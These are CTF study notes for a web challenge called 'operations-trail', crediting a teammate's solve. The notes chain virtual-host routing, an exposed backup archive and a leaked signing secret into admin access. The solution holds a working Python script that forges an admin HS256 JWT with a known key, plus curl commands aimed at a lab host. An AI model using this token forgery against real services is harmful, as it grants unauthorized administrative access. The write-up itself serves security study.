operations-trail
- •
Attribution
- •
Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.
- •
- •
What it asked
- •
Chain small leaks across virtual hosts, a downloadable backup, and JWT authorization to reach an operations admin route.
- •
- •
Approach
- •
Solution
- •
import base64, hashlib, hmac, json enc = lambda raw: base64.urlsafe_b64encode(raw).rstrip(b"=").decode() head = enc(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",", ":")).encode()) body = enc(json.dumps({"role":"admin","user":"ops"}, separators=(",", ":")).encode()) sig = enc(hmac.new(b"ops-chain-2026", f"{head}.{body}".encode(), hashlib.sha256).digest()) print(f"{head}.{body}.{sig}") - •
curl -s -H 'Host: ops.kamsiber.local' \ 'http://10.0.100.6:8080/ops/backup.zip' -o backup.zip TOKEN='<generated-token>' curl -s -H 'Host: ops.kamsiber.local' \ "http://10.0.100.6:8080/ops/admin?token=$TOKEN"
- •
- •
Verification
- •
The generated token matches the token printed in the document. The live endpoint was not replayed.
- •
- •
Concepts
- •
Multi-stage web enumeration; virtual-host routing; backup exposure; leaked environment secrets; JWT forgery.
- •
- •